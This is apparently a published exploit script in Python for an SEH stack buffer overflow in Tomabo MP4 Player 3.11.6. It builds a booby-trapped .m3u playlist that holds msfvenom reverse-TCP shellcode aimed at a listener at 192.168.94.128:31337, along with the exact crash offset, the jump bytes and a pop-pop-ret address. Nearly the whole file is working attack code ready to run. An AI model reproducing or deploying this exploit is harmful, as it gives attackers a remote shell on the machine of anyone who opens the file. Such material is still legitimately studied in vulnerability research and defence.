#!/usr/bin/env python
import struct

#----------------------------------------------------------------------------------#
# Exploit: Tomabo MP4 Player 3.11.6 SEH Stack Buffer Overflow                      #
# OS: Tested XP PRO SP3 (Professional)                                             #
# Author: Amonsec                                                                  #
# Software: https://www.exploit-db.com/apps/                                       #
#                   c595dd801f3154c06ac3c5bf74c43c8f-mp4-player-setup.exe          #
#----------------------------------------------------------------------------------#

filename = 'rekt.m3u'

#----------------------------------------------------------------------------------------------------------------------------------------------------------------#
# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -a x86 -f python -v shellcode -b '\x00\x09\x0a\x0b\x0c\x0d\x1a\x20'  #
#----------------------------------------------------------------------------------------------------------------------------------------------------------------#
shellcode =  ""
shellcode += "\xda\xcf\xbd\xba\xa0\x2d\xcc\xd9\x74\x24\xf4\x5f"
shellcode += "\x33\xc9\xb1\x52\x31\x6f\x17\x83\xc7\x04\x03\xd5"
shellcode += "\xb3\xcf\x39\xd5\x5c\x8d\xc2\x25\x9d\xf2\x4b\xc0"
shellcode += "\xac\x32\x2f\x81\x9f\x82\x3b\xc7\x13\x68\x69\xf3"
shellcode += "\xa0\x1c\xa6\xf4\x01\xaa\x90\x3b\x91\x87\xe1\x5a"
shellcode += "\x11\xda\x35\xbc\x28\x15\x48\xbd\x6d\x48\xa1\xef"
shellcode += "\x26\x06\x14\x1f\x42\x52\xa5\x94\x18\x72\xad\x49"
shellcode += "\xe8\x75\x9c\xdc\x62\x2c\x3e\xdf\xa7\x44\x77\xc7"
shellcode += "\xa4\x61\xc1\x7c\x1e\x1d\xd0\x54\x6e\xde\x7f\x99"
shellcode += "\x5e\x2d\x81\xde\x59\xce\xf4\x16\x9a\x73\x0f\xed"
shellcode += "\xe0\xaf\x9a\xf5\x43\x3b\x3c\xd1\x72\xe8\xdb\x92"
shellcode += "\x79\x45\xaf\xfc\x9d\x58\x7c\x77\x99\xd1\x83\x57"
shellcode += "\x2b\xa1\xa7\x73\x77\x71\xc9\x22\xdd\xd4\xf6\x34"
shellcode += "\xbe\x89\x52\x3f\x53\xdd\xee\x62\x3c\x12\xc3\x9c"
shellcode += "\xbc\x3c\x54\xef\x8e\xe3\xce\x67\xa3\x6c\xc9\x70"
shellcode += "\xc4\x46\xad\xee\x3b\x69\xce\x27\xf8\x3d\x9e\x5f"
shellcode += "\x29\x3e\x75\x9f\xd6\xeb\xda\xcf\x78\x44\x9b\xbf"
shellcode += "\x38\x34\x73\xd5\xb6\x6b\x63\xd6\x1c\x04\x0e\x2d"
shellcode += "\xf7\xeb\x67\x73\x87\x84\x75\x8b\xfd\x3d\xf3\x6d"
shellcode += "\x6b\xae\x55\x26\x04\x57\xfc\xbc\xb5\x98\x2a\xb9"
shellcode += "\xf6\x13\xd9\x3e\xb8\xd3\x94\x2c\x2d\x14\xe3\x0e"
shellcode += "\xf8\x2b\xd9\x26\x66\xb9\x86\xb6\xe1\xa2\x10\xe1"
shellcode += "\xa6\x15\x69\x67\x5b\x0f\xc3\x95\xa6\xc9\x2c\x1d"
shellcode += "\x7d\x2a\xb2\x9c\xf0\x16\x90\x8e\xcc\x97\x9c\xfa"
shellcode += "\x80\xc1\x4a\x54\x67\xb8\x3c\x0e\x31\x17\x97\xc6"
shellcode += "\xc4\x5b\x28\x90\xc8\xb1\xde\x7c\x78\x6c\xa7\x83"
shellcode += "\xb5\xf8\x2f\xfc\xab\x98\xd0\xd7\x6f\xa8\x9a\x75"
shellcode += "\xd9\x21\x43\xec\x5b\x2c\x74\xdb\x98\x49\xf7\xe9"
shellcode += "\x60\xae\xe7\x98\x65\xea\xaf\x71\x14\x63\x5a\x75"
shellcode += "\x8b\x84\x4f"

#----------------------------------------------------------------------------------#
# (*) Badchars = '\x00\x09\x0a\x0b\x0c\x0d\x1a\x20'                                #
#                                                                                  #
# (1) Crash to nseh 1028-bytes                                                     #
# (2) nshe = '\xeb\x06\x90\x90'                                                    #
# (3) seh = '\x69\x9e\x48\x00'	pop pop ret | [MP4Player.exe]                      #
# (4) shellcode space = 932                                                        #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure:                                                           #
#                                    \---------------->                            #
#     [AAA..................AAA]   [nseh]   [seh]   [BBB..................BBB]     #
#     \-------------------------------------->                                     #
#                                     <-------/                                    #
#----------------------------------------------------------------------------------#
buffer = ''
buffer += '\x41' * 1028
buffer += '\xeb\x06\x90\x90'
buffer += struct.pack('<L', 0x00489e69)
buffer += '\x90' * 32
buffer += shellcode
buffer += '\x44' * (2000 - 1028 - 8 - 32 - len(shellcode))

data = open(filename, 'w')
data.write(buffer)
data.close()
print '[*] File created'
